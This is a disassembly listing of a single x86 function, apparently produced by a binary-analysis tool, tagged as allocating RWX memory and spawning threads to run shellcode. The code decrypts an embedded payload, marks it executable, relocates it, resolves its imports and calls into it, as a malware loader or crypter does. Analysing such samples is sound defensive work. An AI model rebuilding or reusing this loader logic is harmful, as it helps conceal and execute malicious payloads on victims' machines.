Function at 0x4d90ec
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x46
push 0
push 0
dec ecx
jne 0x4d90f4
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4da168
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4d8f34]
call fcn.0040698c
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 0x54]
test edx, edx
je 0x4d9128
sub edx, 0xfffffff8
call fcn.0040cba8
call fcn.004058e4
mov eax, dword [0x4f0634]
mov dword [0x4f3d14], eax
mov eax, dword [0x4f3d14]
mov eax, dword [eax + 0x3c]
cdq
push edx
push eax
mov eax, dword [0x4f3d14]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, dword [eax + 0xc]
add edi, dword [0x4f3d14]
lea ecx, [ebp - 0x180]
mov eax, dword [0x4ebe88]
mov edx, 0x10
call fcn.004253f8
mov eax, dword [ebp - 0x180]
push eax
lea ecx, [ebp - 0x184]
mov eax, dword [0x4ebefc]
mov edx, 0x20
call fcn.004253f8
mov eax, dword [ebp - 0x184]
lea ecx, [ebp - 0x17c]
pop edx
call fcn.004b9a74
push edi
lea esi, [ebp - 0x17c]
mov edi, 0x4f4070
mov ecx, 0x47
rep movsd dword es:[edi], dword [esi]
pop edi
lea eax, [ebp - 0x19c]
call fcn.004b3814
mov eax, dword [0x4ebe38]
push edi
lea esi, [ebp - 0x19c]
mov edi, eax
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
pop edi
mov dl, 1
mov eax, dword [0x4b4ee4]
call fcn.004b809c
mov esi, eax
mov dl, 1
mov eax, dword [0x4b4ee4]
call fcn.004b809c
mov dword [0x4f418c], eax
mov eax, dword [0x4f418c]
add eax, 0x10
mov edx, dword [ebp - 0x54]
test edx, edx
je 0x4d920a
sub edx, 0xffffffe8
call fcn.0040cba8
mov eax, dword [0x4f418c]
add eax, 0xc
mov edx, dword [ebp - 0x54]
test edx, edx
je 0x4d9221
sub edx, 0xffffffec
call fcn.0040cba8
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x4d9230
sub eax, 0xfffffff0
push eax
mov ecx, dword [edi]
lea edx, [edi + 8]
mov eax, esi
call fcn.004b7a38
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 3
lea edx, [ebp - 0x1a0]
mov eax, esi
call fcn.004b756c
mov eax, dword [ebp - 0x1a0]
call fcn.00409210
push eax
call sub.kernel32.dll_GetModuleHandleW
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x18]
mov edx, 0x1000
call fcn.00409388
push 0x1000
mov eax, dword [ebp - 0x18]
call fcn.00409210
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_GetModuleFileNameW
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00409388
lea edx, [ebp - 0x1a4]
mov eax, dword [ebp - 0x18]
call fcn.0041c2c8
mov edx, dword [ebp - 0x1a4]
mov eax, 0x4f3d10
call fcn.00408ab0
mov dl, 1
mov eax, dword [0x473588]
call fcn.0040698c
mov ebx, eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 3
lea edx, [ebp - 0x1ac]
mov eax, esi
call fcn.004b756c
mov ecx, dword [ebp - 0x1ac]
lea eax, [ebp - 0x1a8]
mov edx, dword [0x4f3d10]
call fcn.00409460
mov edx, dword [ebp - 0x1a8]
mov eax, ebx
call fcn.00491268
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea ecx, [ebp - 0x10]
mov eax, dword [ebx + 4]
call fcn.004b9f2c
mov eax, dword [0x4ebf50]
mov edx, dword [ebp - 0x10]
mov ecx, dword [0x4031b8]
call fcn.0040b308
lea eax, [ebp - 0x18]
mov edx, 0x1000
call fcn.00409388
push 0x1000
mov eax, dword [ebp - 0x18]
call fcn.00409210
push eax
mov eax, dword [0x4f0634]
push eax
call sub.kernel32.dll_GetModuleFileNameW
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00409388
lea edx, [ebp - 0x1c4]
mov eax, dword [ebp - 0x18]
call fcn.0041c314
mov edx, dword [ebp - 0x1c4]
lea eax, [ebp - 0x1c0]
call fcn.00409300
mov eax, dword [ebp - 0x1c0]
lea edx, [ebp - 0x1bc]
call fcn.0041b330
mov edx, dword [ebp - 0x1bc]
lea eax, [ebp - 0x1b8]
call fcn.004092ec
mov eax, dword [ebp - 0x1b8]
push eax
call fcn.00424bfc
lea ecx, [ebp - 0x1b4]
pop edx
call fcn.004245f8
mov eax, dword [ebp - 0x1b4]
lea edx, [ebp - 0x1b0]
call fcn.004b9fc8
mov eax, dword [ebp - 0x1b0]
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 3
lea edx, [ebp - 0x1d0]
mov eax, esi
call fcn.004b756c
mov eax, dword [ebp - 0x1d0]
push eax
call fcn.00424bfc
lea ecx, [ebp - 0x1cc]
pop edx
call fcn.004245f8
mov eax, dword [ebp - 0x1cc]
lea edx, [ebp - 0x1c8]
call fcn.004b9fc8
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0xc]
pop edx
call fcn.004b9d08
lea ecx, [ebp - 0x17c]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004b9a74
push esi
push edi
lea esi, [ebp - 0x17c]
mov edi, 0x4f3f54
mov ecx, 0x47
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov eax, ebx
call fcn.004069bc
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 0
mov eax, esi
call fcn.004b71e0
lea edx, [ebp - 4]
call fcn.004b82e4
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 1
mov eax, esi
call fcn.004b71e0
lea edx, [ebp - 8]
call fcn.004b82e4
lea ecx, [ebp - 0x17c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004b9a04
push esi
push edi
lea esi, [ebp - 0x17c]
mov edi, 0x4f3d1c
mov ecx, 0x47
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea ecx, [ebp - 0x17c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004b9a74
push esi
push edi
lea esi, [ebp - 0x17c]
mov edi, 0x4f3e38
mov ecx, 0x47
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 3
lea edx, [ebp - 0x1d4]
mov eax, esi
call fcn.004b756c
cmp dword [ebp - 0x1d4], 0
jne 0x4d94e1
push 0
call sub.kernel32.dll_ExitProcess
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push 3
lea edx, [ebp - 0x1d8]
mov eax, esi
call fcn.004b756c
mov eax, dword [ebp - 0x1d8]
call fcn.00409210
push eax
call sub.kernel32.dll_GetModuleHandleW
mov dword [0x4f3d18], eax
mov dword [ebp - 0x50], 1
mov ebx, 0x4f4190
xor eax, eax
mov dword [ebx], eax
inc dword [ebp - 0x50]
add ebx, 4
cmp dword [ebp - 0x50], 0xa
jne 0x4d9518
mov dl, 1
mov eax, esi
call fcn.004b80f0
lea eax, [edi + 8]
add eax, dword [edi]
mov edi, eax
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x4d9542
sub eax, 0xfffffff4
push eax
mov ecx, dword [edi]
lea edx, [edi + 8]
mov eax, dword [0x4f418c]
call fcn.004b7a38
mov eax, dword [0x4f3d18]
xor edx, edx
push edx
push eax
mov eax, dword [0x4f418c]
call fcn.004d2c2c
mov eax, dword [0x4f3d18]
xor edx, edx
push edx
push eax
mov eax, dword [0x4f418c]
call fcn.004d3e18
push 0
push 6
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b7608
test al, al
je 0x4d95c4
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x4d4254
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4f4190], eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x4d42cc
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4f4194], eax
push 0
push 6
push 0
push 1
mov eax, dword [0x4f418c]
call fcn.004b7608
cmp al, 1
jne 0x4d962c
push 0
push 4
push 0
push 3
lea edx, [ebp - 0x1dc]
mov eax, dword [0x4f418c]
call fcn.004b756c
mov eax, dword [ebp - 0x1dc]
call fcn.00409210
push eax
push 0xffffffffffffffff
push 0
call fcn.0040f904
mov dword [0x4f41b4], eax
cmp dword [0x4f41b4], 0
je 0x4d9621
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x4d962c
push 0
push 7
xor eax, eax
call fcn.004d1c8c
mov eax, dword [0x4f3d18]
xor edx, edx
push edx
push eax
mov edx, dword [0x4ebf50]
mov edx, dword [edx]
mov eax, dword [0x4f418c]
call fcn.004d7b10
push 0
push 0x2eb
push 0
push 4
mov eax, dword [0x4f418c]
call fcn.004b7608
cmp al, 1
jne 0x4d98d3
mov eax, dword [0x4f418c]
call fcn.004d8420
call fcn.004d51c0
push 0
push 0x31f
push 0
push 0x3a
lea edx, [ebp - 0x1e0]
mov eax, dword [0x4f418c]
call fcn.004b756c
mov eax, dword [ebp - 0x1e0]
mov dl, 1
call fcn.00422ec0
test al, al
je 0x4d9768
call fcn.004d144c
test al, al
je 0x4d970e
lea eax, [ebp - 0x1e4]
call fcn.004d4528
mov edx, dword [ebp - 0x1e4]
mov eax, dword [0x4ebe68]
call fcn.004063fc
call fcn.004064fc
lea eax, [ebp - 0x1e8]
call fcn.004d44f0
mov edx, dword [ebp - 0x1e8]
mov eax, dword [0x4ebe68]
call fcn.004063fc
call fcn.004064fc
lea eax, [ebp - 0x1ec]
call fcn.004d450c
mov edx, dword [ebp - 0x1ec]
mov eax, dword [0x4ebe68]
call fcn.004063fc
call fcn.004064fc
jmp 0x4d9768
lea eax, [ebp - 0x1f4]
call fcn.004d4528
push dword [ebp - 0x1f4]
push 0x4da188
lea eax, [ebp - 0x1f8]
call fcn.004d44f0
push dword [ebp - 0x1f8]
push 0x4da188
lea eax, [ebp - 0x1fc]
call fcn.004d450c
push dword [ebp - 0x1fc]
lea eax, [ebp - 0x1f0]
mov edx, 5
call fcn.004094e8
mov eax, dword [ebp - 0x1f0]
xor edx, edx
call fcn.004d2c04
push 0
push 0x31f
push 0
push 0x28
lea edx, [ebp - 0x200]
mov eax, dword [0x4f418c]
call fcn.004b756c
mov eax, dword [ebp - 0x200]
mov dl, 1
call fcn.00422ec0
test al, al
je 0x4d9799
call fcn.004d54f8
push 0
push 0x31f
push 0
push 0x39
lea edx, [ebp - 0x204]
mov eax, dword [0x4f418c]
call fcn.004b756c
mov eax, dword [ebp - 0x204]
mov dl, 1
call fcn.00422ec0
test al, al
je 0x4d9834
lea edx, [ebp - 0x208]
mov eax, 2
call fcn.00405868
cmp dword [ebp - 0x208], 0
je 0x4d9834
lea edx, [ebp - 0x20c]
mov eax, 3
call fcn.00405868
cmp dword [ebp - 0x20c], 0
je 0x4d9834
call fcn.004d54f8
lea edx, [ebp - 0x210]
mov eax, 3
call fcn.00405868
mov eax, dword [ebp - 0x210]
push eax
lea edx, [ebp - 0x214]
mov eax, 2
call fcn.00405868
mov eax, dword [ebp - 0x214]
pop edx
call fcn.004d5294
call fcn.004d51c0
call fcn.004d6ba4
call fcn.004d5148
cmp edx, 0
jne 0x4d9846
cmp eax, 1
je 0x4d98aa
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
call fcn.004d84e8
cmp edx, 0
jne 0x4d985b
cmp eax, 1
je 0x4d9874
call fcn.004d54f8
push 0
call sub.kernel32.dll_ExitProcess
push 0
push 1
xor eax, eax
call fcn.004d1c8c
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.004d5294
call fcn.004d6ba4
call fcn.004d5148
cmp edx, 0
jne 0x4d9891
cmp eax, 1
je 0x4d98aa
call fcn.004d54f8
push 0
call sub.kernel32.dll_ExitProcess
push 0
push 1
xor eax, eax
call fcn.004d1c8c
lea eax, [ebp - 0x218]
call fcn.004d450c
mov eax, dword [ebp - 0x218]
push eax
lea eax, [ebp - 0x21c]
call fcn.004d44f0
mov eax, dword [ebp - 0x21c]
pop edx
call fcn.004d5294
push 0
push 2
push 0
push 0
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b74e0
cmp edx, 0
jne 0x4d990c
cmp eax, 1
jne 0x4d990c
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x4d8c10
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4f419c], eax
push 0
push 0
push 0
push 0xb
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b74e0
cmp edx, 0
jne 0x4d992c
cmp eax, 0
jbe 0x4d9949
jmp 0x4d992e
jle 0x4d9949
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x4d4dbc
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4f41a0], eax
push 0
push 4
push 0
push 0
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b74e0
cmp edx, 0
jne 0x4d998e
cmp eax, 1
jne 0x4d998e
push 0
push 4
push 0
push 1
lea edx, [ebp - 0x220]
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b756c
mov eax, dword [ebp - 0x220]
xor edx, edx
call fcn.004d2c04
push 0
push 6
push 0
push 0
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b74e0
cmp edx, 0
jne 0x4d99f1
cmp eax, 1
jne 0x4d99f1
push 0
push 6
push 0
push 1
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b74e0
cmp edx, 0
jne 0x4d99f1
cmp eax, 1
jne 0x4d99f1
push 0
push 6
push 0
push 2
lea edx, [ebp - 0x224]
mov eax, dword [0x4ebdf8]
mov eax, dword [eax]
call fcn.004b756c
mov eax, dword [ebp - 0x224]
xor edx, edx
call fcn.004d2c04
push 0
push 6
push 0
push 0x1c3
mov eax, dword [0x4f418c]
call fcn.004b7608
test al, al
jne 0x4da00d
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dl, 1
mov eax, dword [0x4b4ee4]
call fcn.004b809c
mov esi, eax
push 0
push 1
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b73e8
test al, al
je 0x4d9a66
push 0
push 1
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b71e0
lea edx, [ebp - 0x14]
call fcn.004b82e4
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov eax, esi
call fcn.004b7aac
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 1
mov eax, esi
call fcn.004b73e8
test al, al
je 0x4d9c3c
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 1
mov eax, esi
call fcn.004b7454
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0
jne 0x4d9aa0
cmp dword [ebp - 0x30], 0
jbe 0x4d9a66
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 2
mov eax, esi
call fcn.004b7454
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0
jne 0x4d9ac3
cmp dword [ebp - 0x38], 0
jbe 0x4d9a66
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [ebp - 0x30]
adc edx, dword [ebp - 0x2c]
mov edi, eax
lea eax, [ebp - 0x48]
push eax
push 0x40
mov eax, dword [ebp - 0x38]
push eax
push edi
call sub.kernel32.dll_VirtualProtect
mov edx, dword [ebp - 0x38]
mov eax, edi
call fcn.004b9da0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 4
mov eax, esi
call fcn.004b73e8
test al, al
je 0x4d9bcc
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 4
mov eax, esi
call fcn.004b71e0
lea edx, [ebp - 0x14]
call fcn.004b82e4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4d9b3a
sub ebx, 4
mov ebx, dword [ebx]
mov eax, ebx
cdq
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
push 0
push 0x2eb
push 0
push 4
mov eax, dword [0x4f418c]
call fcn.004b7608
cmp al, 1
jne 0x4d9bcc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x4d9b73
mov eax, dword [ebp - 0x58]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jle 0x4d9bcc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x4d9b90
mov eax, dword [ebp - 0x5c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x228]
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x14]
call fcn.004d50c8
mov edx, dword [ebp - 0x228]
lea eax, [ebp - 0x14]
mov ecx, dword [0x4031b8]
call fcn.0040b308
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 5
mov eax, esi
call fcn.004b74e0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0
jne 0x4d9bda
cmp dword [ebp - 0x48], 0
jbe 0x4d9c2f
jmp 0x4d9bdc
jle 0x4d9c2f
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 0x14]
call fcn.004d1594
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x48]
mov edx, edi
mov eax, dword [ebp - 0x4c]
call fcn.004b9d94
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 3
mov eax, esi
call fcn.004b7454
cmp edx, 0
jne 0x4d9c10
cmp eax, 0
jbe 0x4d9c27
mov eax, edi
xor edx, edx
push edx
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x48]
push 0
push 0
call fcn.004d40e0
mov eax, dword [ebp - 0x4c]
call fcn.004054a0
add dword [ebp - 0x40], 1
adc dword [ebp - 0x3c], 0
jmp 0x4d9a66
mov dl, 1
mov eax, esi
call fcn.004b80f0
call fcn.004d4090
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x4d4004
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4f4198], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push 2
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b73e8
test al, al
je 0x4d9cb8
push 0
push 2
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b71e0
lea edx, [ebp - 0x14]
call fcn.004b82e4
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4d9caf
sub ecx, 4
mov ecx, dword [ecx]
mov eax, ecx
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0
jne 0x4d9cc2
cmp dword [ebp - 0x38], 0
jbe 0x4d9dbb
mov edi, dword [ebp - 0x14]
push 0
push 0x10
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
call fcn.0040aad0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [0x4f3d18]
xor edx, edx
push edx
push eax
push 0
push 0
push 0
push 2
mov eax, dword [0x4f418c]
call fcn.004b7454
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
cmp dword [edi + 4], 0
jne 0x4d9d49
cmp dword [edi], 4
jne 0x4d9d49
mov eax, edi
xor edx, edx
add eax, 8
adc edx, 0
mov edi, eax
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [edi]
adc edx, dword [edi + 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x40]
add dword [eax], edx
cmp dword [edi + 4], 0
jne 0x4d9d87
cmp dword [edi], 8
jne 0x4d9d87
mov eax, edi
xor edx, edx
add eax, 8
adc edx, 0
mov edi, eax
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [edi]
adc edx, dword [edi + 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
add eax, dword [ebp - 0x40]
adc edx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov eax, edi
xor edx, edx
add eax, 8
adc edx, 0
mov edi, eax
add dword [ebp - 0x48], 1
adc dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
sub eax, 1
sbb edx, 0
cmp dword [ebp - 0x44], 0
js 0x4d9db5
cmp edx, dword [ebp - 0x44]
jne 0x4d9db5
cmp eax, dword [ebp - 0x48]
jae 0x4d9d18
mov eax, dword [0x4f3d18]
xor edx, edx
push edx
push eax
mov eax, dword [0x4f418c]
call fcn.004d351c
mov dl, 1
mov eax, dword [0x4b4ee4]
call fcn.004b809c
mov esi, eax
push 0
push 3
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b73e8
test al, al
je 0x4d9e1e
push 0
push 3
push 0
push 0
mov eax, dword [0x4f418c]
call fcn.004b71e0
lea edx, [ebp - 0x22c]
call fcn.004b82e4
mov edx, dword [ebp - 0x22c]
xor ecx, ecx
mov eax, esi
call fcn.004b7aac
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0xffffffffffffffff
push 0xfffffffffffffffe
mov eax, esi
call fcn.004b73e8
test al, al
je 0x4da004
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0xffffffffffffffff
push 0xfffffffffffffffe
lea edx, [ebp - 0x18]
mov eax, esi
call fcn.004b756c
cmp dword [ebp - 0x18], 0
je 0x4da004
mov eax, dword [ebp - 0x18]
call fcn.00409210
push eax
call sub.kernel32.dll_GetModuleHandleW
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0
jne 0x4d9e9b
cmp dword [ebp - 0x30], 0
jne 0x4d9e9b
mov eax, dword [ebp - 0x18]
call fcn.00409210
push eax
call sub.kernel32.dll_LoadLibraryW
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
add dword [ebp - 0x40], 1
adc dword [ebp - 0x3c], 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0xffffffffffffffff
push 0xfffffffffffffffe
mov eax, esi
call fcn.004b73e8
test al, al
jne 0x4d9e2c
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 1
mov eax, esi
call fcn.004b73e8
test al, al
je 0x4d9e2c
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 1
mov eax, esi
call fcn.004b74e0
cmp edx, 0
jne 0x4d9f30
cmp eax, 0
jne 0x4d9f30
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 2
lea edx, [ebp - 0x18]
mov eax, esi
call fcn.004b756c
lea eax, [ebp - 0x230]
mov edx, dword [ebp - 0x18]
mov ecx, 0
call fcn.0040904c
mov eax, dword [ebp - 0x230]
call fcn.00408fc0
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_GetProcAddress
mov edi, eax
jmp 0x4d9f4d
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 2
mov eax, esi
call fcn.004b74e0
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_GetProcAddress
mov edi, eax
push 0
push 6
push 0
push 2
mov eax, dword [0x4f418c]
call fcn.004b7608
cmp al, 1
jne 0x4d9f93
mov dword [ebp - 0x50], 1
mov ebx, dword [0x4ebe8c]
mov eax, dword [0x4ebde8]
mov dword [ebp - 0x60], eax
cmp edi, dword [ebx]
jne 0x4d9f83
mov eax, dword [ebp - 0x60]
mov edi, dword [eax]
jmp 0x4d9f93
inc dword [ebp - 0x50]
add dword [ebp - 0x60], 4
add ebx, 4
cmp dword [ebp - 0x50], 0xa
jne 0x4d9f78
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 3
mov eax, esi
call fcn.004b7454
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0
jne 0x4d9fb4
cmp dword [ebp - 0x38], 0
jbe 0x4d9fc5
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [ebp - 0x38]
adc edx, dword [ebp - 0x34]
mov dword [eax], edi
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 4
mov eax, esi
call fcn.004b7454
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0
jne 0x4d9fe6
cmp dword [ebp - 0x38], 0
jbe 0x4d9ff7
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [ebp - 0x38]
adc edx, dword [ebp - 0x34]
mov dword [eax], edi
add dword [ebp - 0x40], 1
adc dword [ebp - 0x3c], 0
jmp 0x4d9ea3
mov dl, 1
mov eax, esi
call fcn.004b80f0
mov eax, dword [0x4f418c]
call fcn.004d7ef0
push 0
push 6
push 0
push 0x1c3
mov eax, dword [0x4f418c]
call fcn.004b7608
test al, al
jne 0x4da089
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0
push 0x2e
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov eax, dword [0x4f418c]
call fcn.004b7454
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0
jne 0x4da064
cmp dword [ebp - 0x38], 0
je 0x4da089
mov eax, dword [0x4f3d18]
xor edx, edx
add eax, dword [ebp - 0x38]
adc edx, dword [ebp - 0x34]
mov ebx, eax
push 0
push 1
mov eax, dword [0x4f3d18]
push eax
call ebx
add dword [ebp - 0x40], 1
adc dword [ebp - 0x3c], 0
jmp 0x4da03e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4da172
lea eax, [ebp - 0x230]
call fcn.004086f4
lea eax, [ebp - 0x22c]
mov edx, dword [0x4031b8]
mov ecx, 2
call fcn.00409d34
lea eax, [ebp - 0x224]
mov edx, 0x16
call fcn.00408730
lea eax, [ebp - 0x1cc]
mov edx, dword [0x4031b8]
mov ecx, 2
call fcn.00409d34
lea eax, [ebp - 0x1c4]
call fcn.004086d0
lea eax, [ebp - 0x1c0]
mov edx, 2
call fcn.00408790
lea eax, [ebp - 0x1b8]
call fcn.004086d0
lea eax, [ebp - 0x1b4]
mov edx, dword [0x4031b8]
mov ecx, 2
call fcn.00409d34
lea eax, [ebp - 0x1ac]
mov edx, 4
call fcn.00408730
lea eax, [ebp - 0x184]
mov edx, dword [0x4031b8]
mov ecx, 2
call fcn.00409d34
lea eax, [ebp - 0x24]
call fcn.0040cb90
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00408730
lea eax, [ebp - 0x14]
mov edx, dword [0x4031b8]
mov ecx, 5
call fcn.00409d34
ret